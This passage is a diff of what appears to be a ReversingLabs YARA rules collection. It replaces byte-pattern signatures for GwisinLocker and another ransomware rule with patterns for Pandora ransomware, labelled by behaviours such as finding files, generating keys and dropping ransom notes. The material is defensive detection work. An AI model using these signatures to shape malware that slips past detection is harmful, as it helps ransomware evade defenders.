-            ?? 50 FF B6 ?? ?? ?? ?? 53 FF D7 8B 35 ?? ?? ?? ?? 8D 45 ?? 6A ?? 50 6A ?? 6A ?? 6A
-            ?? 6A ?? FF 35 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? FF D6 85 C0 0F
-            84 ?? ?? ?? ?? FF 75 ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? FF 35 ?? ?? ??
-            ?? FF D6 85 C0 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ??
-            ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 0F 1F 40 ?? 8B 45 ?? 03 C0 50 E8 ??
-            ?? ?? ?? 8B F0 83 C4 ?? 80 3E ?? 74 ?? 8B 45 ?? 8B CE 85 C0 74 ?? 66 90 C6 01 ?? 8D
-            49 ?? 83 E8 ?? 75 ?? 8D 45 ?? 50 56 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 15 ??
-            ?? ?? ?? 6A ?? 8D 45 ?? 50 FF 75 ?? 56 53 FF D7 6A ?? 8D 45 ?? 50 8B 45 ?? FF B0 ??
-            ?? ?? ?? FF 15 ?? ?? ?? ?? 50 8B 45 ?? FF B0 ?? ?? ?? ?? 53 FF D7 53 FF 15 ?? ?? ??
-            ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 83 7D ?? ?? 0F 43 45 ?? 6A ?? 50 FF 75 ?? FF
-            15
+		$find_files_1 = {
+            55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 53 56
+            57 6A ?? 5E 33 C0 33 FF 6A ?? 66 89 44 24 ?? 57 8D 45 ?? 8D 4C 24 ?? 89 74 24 ?? 89
+            7C 24 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 66
+            89 44 24 ?? 66 89 44 24 ?? 8B 84 24 ?? ?? ?? ?? 03 44 24 ?? 8D 4C 24 ?? 89 74 24 ??
+            89 7C 24 ?? 89 74 24 ?? 89 7C 24 ?? E8 ?? ?? ?? ?? 57 8D 44 24 ?? 50 83 C8 ?? 8D 74
+            24 ?? E8 ?? ?? ?? ?? 57 8D 84 24 ?? ?? ?? ?? 50 83 C8 ?? E8 ?? ?? ?? ?? 8B DE 8D 44
+            24 ?? E8 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 7C 24 ?? ?? 8B 44 24 ?? 73 ?? 8D 44 24
+            ?? 8D 8C 24 ?? ?? ?? ?? 51 50 FF 15 ?? ?? ?? ?? 89 44 24 ?? 83 F8 ?? 0F 84 ?? ?? ??
+            ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24
         }
-		$remote_connection = {
-            FF 15 ?? ?? ?? ?? 8B F8 89 7D ?? 85 FF 0F 84 ?? ?? ?? ?? 8B 4D ?? 83 79 ?? ?? 72 ??
-            8B 09 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 51 57 FF 15 ?? ?? ?? ?? 8B F0 89 75 ?? 85
-            F6 0F 84 ?? ?? ?? ?? 8B 4D ?? 53 83 79 ?? ?? 75 ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ??
-            ?? ?? BB ?? ?? ?? ?? EB ?? 51 8D 45 ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? BB
-            ?? ?? ?? ?? 6A ?? 6A ?? FF 75 ?? 8B C8 6A ?? E8 ?? ?? ?? ?? 33 C9 C7 45 ?? ?? ?? ??
-            ?? 66 89 4D ?? 8D 4D ?? 50 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? F6 C3 ?? 74 ?? 8D 4D
-            ?? 83 E3 ?? E8 ?? ?? ?? ?? F6 C3 ?? 5B 74 ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 8D
-            4D ?? 6A ?? 68 ?? ?? ?? ?? 51 6A ?? 68 ?? ?? ?? ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 0F
-            43 45 ?? 50 68 ?? ?? ?? ?? 56 C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F0 85 F6 0F
-            84 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 3D ?? ??
-            ?? ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF D7 85 C0 74 ?? 8B 45 ??
-            85 C0 74 ?? C6 84 05 ?? ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 75 ?? 33 C9 EB ?? 8D 8D ??
-            ?? ?? ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 2B CA 51 8D 85 ?? ?? ?? ?? 50 8D 4D ?? E8 ??
-            ?? ?? ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF D7 85 C0 75 ?? 8B 7D
-            ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 56 FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B 45
-            ?? 83 F8 ?? 72 ?? 40 8D 4D ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 83 7D
-            ?? ?? 8D 4D ?? 8B 45 ?? 8D 55 ?? 0F 43 4D ?? 8B 75 ?? 03 C1 83 7D ?? ?? 8D 4D ?? 52
-            0F 43 4D ?? 50 51 8B CE E8 ?? ?? ?? ?? 8B 4D ?? 83 F9 ?? 72 ?? 41 51 FF 75 ?? 8D 4D
-            ?? E8
+		$find_files_2 = {
+            D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? F6
+            84 24 ?? ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 8D 4C 24 ?? 8D 44 24 ?? 74 ?? E8 ?? ??
+            ?? ?? 8D 4C 24 ?? 51 E8 ?? ?? ?? ?? 59 8B D8 59 8D 44 24 ?? E8 ?? ?? ?? ?? 6A ?? 33
+            FF 8D 74 24 ?? E8 ?? ?? ?? ?? 6A ?? 8D 74 24 ?? E8 ?? ?? ?? ?? 83 EC ?? 8B CC 21 79
+            ?? 33 C0 6A ?? C7 41 ?? ?? ?? ?? ?? 66 89 01 50 8D 44 24 ?? E8 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 59 8D 44 24 ?? E8 ?? ?? ?? ?? 6A
+            ?? 33 FF 8D 74 24 ?? E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 50 8D
+            44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 6A ?? 5F 39 7C 24 ?? 73 ?? 8D 44 24 ?? 8B 35 ??
+            ?? ?? ?? 68
+        }
+		$find_files_3 = {
+            50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 8B 44 24 ?? 39 7C 24 ?? 73 ?? 8D 44 24 ?? 68 ?? ??
+            ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 8B 44 24 ?? 39 7C 24 ?? 73 ?? 8D 44 24 ?? 68
+            ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 8B 44 24 ?? 39 7C 24 ?? 73 ?? 8D 44 24
+            ?? 68 ?? ?? ?? ?? 50 FF D6 85 C0 74 ?? 8B 44 24 ?? 39 7C 24 ?? 73 ?? 8D 44 24 ?? 68
+            ?? ?? ?? ?? 50 FF D6 85 C0 74 ?? 8B 44 24 ?? 39 7C 24 ?? 73 ?? 8D 44 24 ?? 68 ?? ??
+            ?? ?? 50 FF D6 85 C0 74 ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 74 ??
+            8B 4C 24 ?? 39 7C 24 ?? 73 ?? 8D 4C 24 ?? 83 EC ?? 8B C4 51 E8 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 83 C4 ?? 6A ?? 33 FF 8D 74 24 ?? E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF 74
+            24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 33 DB
+            43 53 33 FF 8D 74 24 ?? E8 ?? ?? ?? ?? 53 8D B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 8D
+            74 24 ?? E8 ?? ?? ?? ?? 53 8D 75 ?? E8 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 5F 5E 5B 33
+            CC E8 ?? ?? ?? ?? 8B E5 5D C3
         }
 
 	condition:
-		uint16(0)==0x5A4D and (( all of ($find_files_p*)) and ( all of ($encrypt_files_p*)) and $remote_connection)
+		uint16(0)==0x5A4D and ( all of ($find_files_*)) and ($create_encryption_key) and ($encrypt_encryption_key) and ( all of ($encrypt_files_p*))
 }
-rule REVERSINGLABS_Linux_Ransomware_Gwisinlocker : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win64_Ransomware_Pandora : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects GwisinLocker ransomware."
+		description = "Yara rule that detects Pandora ransomware."
 		author = "ReversingLabs"
-		id = "9f00e1b4-3692-5824-b614-724073532c1f"
-		date = "2022-10-11"
-		modified = "2022-10-11"
+		id = "18182bbe-1678-5d0b-a7ee-80c4bbaee99e"
+		date = "2022-06-01"
+		modified = "2022-06-01"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Linux.Ransomware.GwisinLocker.yara#L1-L354"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "c23c0b73bbefbd644ffe1398e1f14eec3a89945cb3c3ccbc6f46c57046b53505"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win64.Ransomware.Pandora.yara#L1-L95"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "6576bde36ae9a9bc2e9dd878db788c608083b84d96d31e6898f48a264c6b7f1a"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -40427,308 +40812,163 @@ rule REVERSINGLABS_Linux_Ransomware_Gwisinlocker : TC_DETECTION MALICIOUS MALWAR
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "GwisinLocker"
+		tc_detection_name = "Pandora"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$init_key_v1 = {
-            55 57 56 53 E8 ?? ?? ?? ?? 81 C3 ?? ?? ?? ?? 81 EC ?? ?? ?? ?? 8D 74 24 ?? 56 E8 ??
-            ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 31 FF 83 EC ?? 56 E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? 89
-            F8 5B 5E 5F 5D C3 66 90 31 D2 31 C0 89 54 04 ?? 83 C0 ?? 83 F8 ?? 72 ?? 83 EC ?? 8D
-            83 ?? ?? ?? ?? 50 8D 83 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 C5 8D 7C 24 ?? 85
-            C0 74 ?? 50 6A ?? 6A ?? 57 E8 ?? ?? ?? ?? 89 2C 24 E8 ?? ?? ?? ?? 83 C4 ?? 83 EC ??
-            6A ?? 57 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? C7 04 24 ?? ?? ?? ?? 83 EC ?? 8D 44
-            24 ?? 50 FF B4 24 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? 6A ?? FF B3
-            ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? 56 FF B3 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0
-            0F 94 C0 0F B6 C0 89 C7 E9
+		$find_files_p1 = {
+            41 57 41 56 41 55 41 54 56 57 55 53 48 83 EC ?? 48 89 4C 24 ?? C7 44 24 ?? ?? ?? ??
+            ?? 45 31 F6 41 BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 8B 0D ?? ?? ??
+            ?? 48 89 4C 24 ?? 45 31 C0 41 81 FA ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 0F
+            4C CA 41 0F 94 C0 48 8B 8C 08 ?? ?? ?? ?? 48 01 F1 31 D2 31 DB 41 81 FA ?? ?? ?? ??
+            0F 9C C2 0F 95 C3 41 BD ?? ?? ?? ?? 49 29 D5 41 81 FA ?? ?? ?? ?? BF ?? ?? ?? ?? BA
+            ?? ?? ?? ?? 48 0F 4C FA 4C 8D 4C 9B ?? 41 BB ?? ?? ?? ?? BA ?? ?? ?? ?? 4C 0F 44 DA
+            49 83 C8 ?? 31 DB 31 D2 41 81 FA ?? ?? ?? ?? 0F 9C C3 4C 8D 64 1B ?? 0F 94 C2 48 83
+            F2 ?? 31 DB 41 81 FA ?? ?? ?? ?? 0F 94 C3 48 8D 1C DB 48 83 C3 ?? EB ?? 0F 1F 40 ??
+            4A 8B AC C0 ?? ?? ?? ?? 48 01 F5 FF E5 FF E1 4A 8B AC E0 ?? ?? ?? ?? 48 01 F5 FF E5
+            48 8B AC D8 ?? ?? ?? ?? 48 01 F5 FF E5 0F 1F 80 ?? ?? ?? ?? 48 8B AC F8 ?? ?? ?? ??
+            48 01 F5 FF E5 4A 8B AC E8 ?? ?? ?? ?? 48 01 F5 FF E5 4A 8B AC D8 ?? ?? ?? ?? 48 01
         }
-		$encrypt_files_v1_p1 = {
-            55 B9 ?? ?? ?? ?? 57 56 53 E8 ?? ?? ?? ?? 81 C3 ?? ?? ?? ?? 81 EC ?? ?? ?? ?? 8B 84
-            24 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 44 24 ?? 8B 84 24
-            ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 44 24 ?? 8D 44 24 ?? 83 EC ?? 89 44 24 ?? 89
-            C7 31 C0 F3 AB C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ??
-            ?? 6A ?? FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 84 24 ?? ?? ?? ?? 89 44
-            24 ?? 8D 84 24 ?? ?? ?? ?? 89 44 24 ?? 31 FF 83 EC ?? 68 ?? ?? ?? ?? FF 74 24 ?? E8
-            ?? ?? ?? ?? 58 5A 6A ?? FF 74 24 ?? E8 ?? ?? ?? ?? 59 5E 6A ?? FF 74 24 ?? E8 ?? ??
-            ?? ?? 81 C4 ?? ?? ?? ?? 89 F8 5B 5E 5F 5D C3 8D 74 26 ?? 90 83 EC ?? 6A ?? 8D 84 24
-            ?? ?? ?? ?? 89 44 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D B4 24 ?? ?? ?? ?? 89 74 24 ??
-            85 C0 74 ?? 83 EC ?? 6A ?? FF 74 24 ?? 56 E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? 59 5E 50
-            89 C5 FF B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 44 24 ?? 89 C6 83 C4 ?? 85 C0 0F 84 ??
-            ?? ?? ?? 83 EC ?? FF B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 50 89 C7 FF B4 24 ??
-            ?? ?? ?? FF B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 94 24 ?? ?? ?? ?? 01 FA 89 D0 8B 54
-            24 ?? 89 10 0F B7 54 24 ?? 66 89 50 ?? 0F B6 54 24 ?? 88 50 ?? 8B 94 24 ?? ?? ?? ??
-            C6 44 3A ?? ?? BF ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 56 E8 ??
-            ?? ?? ?? B9 ?? ?? ?? ?? 83 C4 ?? 39 C1 B9 ?? ?? ?? ?? 19 D1 7D ?? 83 EC ?? FF B4 24
-            ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 83 EC ?? FF 74
-            24 ?? E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8D 74 26 ?? 90 83 EC ?? 56 E8 ?? ?? ??
-            ?? 58 5A 55 FF B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 44 24 ?? 89 C6 83 C4 ?? 85 C0 0F
+		$find_files_p2 = {
+            F5 FF E5 66 0F 1F 84 00 ?? ?? 00 00 48 8B AC D0 ?? ?? ?? ?? 48 01 F5 FF E5 4A 8B AC
+            C8 ?? ?? ?? ?? 48 01 F5 FF E5 44 89 74 24 ?? 48 63 4C 24 ?? 48 8B 54 24 ?? 48 8B 8C
+            CA ?? ?? ?? ?? 48 89 4C 24 ?? 48 8B 4C 24 ?? 8B 54 24 ?? BD ?? ?? ?? ?? 01 EA 44 8B
+            54 24 ?? BD ?? ?? ?? ?? 41 01 EA 66 83 39 ?? 44 0F 45 D2 E9 ?? ?? ?? ?? 45 31 FF EB
+            ?? 66 2E 0F 1F 84 00 ?? ?? 00 00 90 41 BF ?? ?? ?? ?? 44 8B 54 24 ?? 41 81 C2 ?? ??
+            ?? ?? E9 ?? ?? ?? ?? 66 0F 1F 84 00 ?? ?? 00 00 44 8B 74 24 ?? 41 83 C6 ?? 48 8B 54
+            24 ?? 48 8B 05 ?? ?? ?? ?? 48 8B 80 ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 01 C8 48 8B 4C 24
+            ?? FF D0 8B 4C 24 ?? BA ?? ?? ?? ?? 01 D1 44 8B 54 24 ?? BA ?? ?? ?? ?? 41 01 D2 85
+            C0 44 0F 44 D1 E9 ?? ?? ?? ?? 44 89 F8 48 83 C4 ?? 5B 5D 5F 5E 41 5C 41 5D 41 5E 41
+            5F C3
         }
-		$encrypt_files_v1_p2 = {
-            84 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 50 E8 ?? ?? ?? ?? 89 34 24 E8 ?? ?? ?? ?? 8B 74 24
-            ?? 8B 7C 24 ?? 89 D1 89 74 24 ?? 89 7C 24 ?? 83 C4 ?? 39 F0 19 F9 7D ?? 89 44 24 ??
-            89 54 24 ?? 8B 7C 24 ?? 8B 74 24 ?? 89 F9 89 F5 C1 F9 ?? 89 C8 89 4C 24 ?? 31 CD 8B
-            74 24 ?? C1 F8 ?? 89 44 24 ?? 89 E8 29 F0 8B 74 24 ?? 89 C7 83 E7 ?? 31 CF 89 F8 8B
-            7C 24 ?? 29 F0 8B 74 24 ?? 89 FA 19 FA 8B 7C 24 ?? 29 C6 89 74 24 ?? 19 D7 83 EC ??
-            89 7C 24 ?? 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 8D BC 24 ?? ?? ?? ?? 8D B4 24 ?? ?? ?? ??
-            B9 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 31 C0 F3 AB 89 94 24 ?? ?? ?? ?? 56 6A ?? FF 74
-            24 ?? FF B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 C7 85 C0 0F 84 ?? ?? ?? ?? 83
-            EC ?? FF 74 24 ?? E8 ?? ?? ?? ?? 5F 5D FF B4 24 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4
-            ?? 89 C7 85 C0 0F 84 ?? ?? ?? ?? 8B B4 24 ?? ?? ?? ?? 8B 54 24 ?? 31 FF 8B 44 24 ??
-            89 7C 24 ?? 89 74 24 ?? 8D 74 24 ?? 89 D7 89 74 24 ?? 8D B3 ?? ?? ?? ?? 09 C7 89 74
+		$generate_key = {
+            41 57 41 56 41 55 41 54 56 57 55 53 48 81 EC ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 48
+            8D B4 24 ?? ?? ?? ?? 48 89 74 24 ?? 48 8B 44 24 ?? 48 8B 05 ?? ?? ?? ?? 48 C7 C5 ??
+            ?? ?? ?? 48 8B 80 ?? ?? ?? ?? 48 01 E8 41 BC ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 4C 01
+            E1 BA ?? ?? ?? ?? 48 03 15 ?? ?? ?? ?? FF D0 48 8B 05 ?? ?? ?? ?? 48 8B 4C 24 ?? 0F
+            B7 90 ?? ?? ?? ?? 66 89 51 ?? 48 8B 80 ?? ?? ?? ?? 48 89 01 48 8B 05 ?? ?? ?? ?? 48
+            8B 80 ?? ?? ?? ?? 48 01 E8 48 8B 0D ?? ?? ?? ?? 4C 01 E1 FF D0 48 8B 05 ?? ?? ?? ??
+            48 8B 80 ?? ?? ?? ?? 48 01 E8 48 8B 0D ?? ?? ?? ?? 4C 01 E1 FF D0 48 8B 05 ?? ?? ??
+            ?? 48 8B 80 ?? ?? ?? ?? 48 01 E8 48 89 F1 FF D0 48 98 4C 8B 05 ?? ?? ?? ?? 4D 01 E0
+            48 8B 0D ?? ?? ?? ?? 48 8B 99 ?? ?? ?? ?? 48 01 EB 48 8B 0D ?? ?? ?? ?? 4C 01 E1 48
+            89 44 24 ?? 48 8D 15 ?? ?? ?? ?? 49 89 F1 FF D3 89 84 24 ?? ?? ?? ?? B9 ?? ?? ?? ??
+            45 31 ED 41 BE ?? ?? ?? ?? 41 BF ?? ?? ?? ?? BB ?? ?? ?? ?? EB ?? 81 F9 ?? ?? ?? ??
+            BA ?? ?? ?? ?? BF ?? ?? ?? ?? 48 0F 44 D7 48 8B 04 10 4C 01 F0 FF E0
         }
-		$encrypt_files_v1_p3 = {
-            24 ?? 0F 84 ?? ?? ?? ?? 8B 4C 24 ?? 8B 6C 24 ?? 89 4C 24 ?? EB ?? 66 90 83 EC ?? 31
-            ED FF B4 24 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? FF 74 24 ?? FF 74
-            24 ?? FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 31 D2 6A ?? 8B 84 24 ?? ?? ?? ?? 52 F7 D8
-            50 57 E8 ?? ?? ?? ?? 57 FF B4 24 ?? ?? ?? ?? 6A ?? FF B4 24 ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 8B 44 24 ?? 8B BC 24 ?? ?? ?? ?? 8B 54 24 ?? 29 F8 19 EA 89 44 24 ?? 89 D6 89 54
-            24 ?? 83 C4 ?? 09 C6 74 ?? 39 84 24 ?? ?? ?? ?? 89 E9 8B 7C 24 ?? 19 D1 0F 4C 84 24
-            ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 89 44 24 ?? 8B 84 24 ?? ?? ??
-            ?? 89 44 24 ?? 8B 84 24 ?? ?? ?? ?? 89 44 24 ?? 8B 84 24 ?? ?? ?? ?? 89 44 24 ?? 57
-            FF B4 24 ?? ?? ?? ?? 6A ?? FF B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 39 84 24 ??
-            ?? ?? ?? 0F 84 ?? ?? ?? ?? 83 EC ?? BF ?? ?? ?? ?? FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4
-            ?? E9 ?? ?? ?? ?? 83 EC ?? FF B4 24 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            83 C4 ?? E9
+		$drop_ransom_note = {
+            48 8B 05 ?? ?? ?? ?? 48 8B 80 ?? ?? ?? ?? BD ?? ?? ?? ?? 48 01 E8 48 8B 0D ?? ?? ??
+            ?? BE ?? ?? ?? ?? 48 01 F1 48 8B 15 ?? ?? ?? ?? BF ?? ?? ?? ?? 48 01 FA FF D0 48 8B
+            0D ?? ?? ?? ?? 48 01 F1 48 8B 05 ?? ?? ?? ?? 48 8B 90 ?? ?? ?? ?? 48 01 EA FF D2 48
+            8B 15 ?? ?? ?? ?? 48 01 F2 48 8B 8C 24 ?? ?? ?? ?? 48 8B 35 ?? ?? ?? ?? 48 8B B6 ??
+            ?? ?? ?? 48 01 EE 48 C7 44 24 ?? ?? ?? ?? ?? 41 89 C0 4C 8D 4C 24 ?? FF D6 BE ?? ??
+            ?? ?? 48 8B 8C 24 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 8B 90 ?? ?? ?? ?? 41 BE ?? ??
+            ?? ?? 48 01 EA FF D2 BF ?? ?? ?? ?? 8B 4C 24 ?? B8 ?? ?? ?? ?? 01 C1 E9 ?? ?? ?? ??
+            81 F9 ?? ?? ?? ?? BA ?? ?? ?? ?? BD ?? ?? ?? ?? 48 0F 44 D5 48 8B 04 10 4C 01 E0 FF
+            E0 8B 44 24 ?? 83 C0 ?? 89 44 24 ?? 8B 4C 24 ?? B8 ?? ?? ?? ?? 01 C1 E9 ?? ?? ?? ??
+            81 F9 ?? ?? ?? ?? BA ?? ?? ?? ?? BD ?? ?? ?? ?? 48 0F 44 D5 48 8B 04 10 4C 01 E0 FF
+            E0 8B 4C 24 ?? B8 ?? ?? ?? ?? 01 C1 E9 ?? ?? ?? ?? 81 F9 ?? ?? ?? ?? BA ?? ?? ?? ??
+            BD ?? ?? ?? ?? 48 0F 44 D5 48 8B 04 10 4C 01 E0 FF E0 8B 4C 24 ?? B8 ?? ?? ?? ?? 01
+            C1 C7 44 24 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 81 F9 ?? ?? ?? ?? BA ?? ?? ?? ?? BD ?? ??
+            ?? ?? 48 0F 44 D5 48 8B 04 10 4C 01 E0 FF E0 48 8B 05 ?? ?? ?? ?? 48 8B 88 ?? ?? ??
+            ?? 48 8B 05 ?? ?? ?? ?? 48 8B 80 ?? ?? ?? ?? 4C 01 F0 C7 44 24 ?? ?? ?? ?? ?? 48 8D
+            54 24 ?? 4C 8D 84 24 ?? ?? ?? ?? 4C 8D 4C 24 ?? FF D0 BF ?? ?? ?? ?? 8B 54 24 ?? B9
+            ?? ?? ?? ?? 01 CA 8B 4C 24 ?? BD ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ??
+            48 8B 84 24 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 31 C0 48 81
+            C4 ?? ?? ?? ?? 5B 5D 5F 5E 41 5C 41 5D 41 5E 41 5F C3
         }
-		$find_files_v1_p1 = {
-            55 89 C5 57 E8 ?? ?? ?? ?? 81 C7 ?? ?? ?? ?? 56 53 81 EC ?? ?? ?? ?? 89 54 24 ?? 8B
-            B4 24 ?? ?? ?? ?? 89 7C 24 ?? 89 FB 89 4C 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 44 24
-            ?? C7 44 24 ?? ?? ?? ?? ?? 85 C0 74 ?? 8D 58 ?? 80 7C 05 ?? ?? 0F 45 D8 89 5C 24 ??
-            8B BC 24 ?? ?? ?? ?? 83 E7 ?? 74 ?? 83 EC ?? 8D 44 24 ?? 89 44 24 ?? 50 55 6A ?? 8B
-            5C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 8B 5C 24 ?? E8 ?? ?? ?? ?? 8B 00 83 F8
-            ?? 0F 85 ?? ?? ?? ?? BF ?? ?? ?? ?? C6 44 24 ?? ?? C7 44 24 ?? ?? ?? ?? ?? EB ?? 8D
-            B4 26 ?? ?? ?? ?? 66 90 83 EC ?? 8D 44 24 ?? 89 44 24 ?? 50 55 6A ?? 8B 5C 24 ?? E8
-            ?? ?? ?? ?? 83 C4 ?? 85 C0 78 ?? 8B 84 24 ?? ?? ?? ?? 25 ?? ?? ?? ?? 3D ?? ?? ?? ??
-            0F 84 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? C6 44 24 ?? ?? 31 FF C7 44 24 ??
-            ?? ?? ?? ?? 8B 54 24 ?? 8B 44 24 ?? F6 84 24 ?? ?? ?? ?? ?? 74 ?? 85 F6 0F 84 ?? ??
-            ?? ?? 8B 4E ?? 8B 5E ?? 31 D1 31 C3 09 CB 0F 84 ?? ?? ?? ?? 31 FF 81 C4 ?? ?? ?? ??
-            89 F8 5B 5E 5F 5D C3 8D 74 26 ?? 90 8B 5C 24 ?? E8 ?? ?? ?? ?? 89 C7 8B 00 83 F8 ??
-            0F 85 ?? ?? ?? ?? 83 EC ?? FF 74 24 ?? 55 6A ?? 8B 5C 24 ?? E8 ?? ?? ?? ?? 83 C4 ??
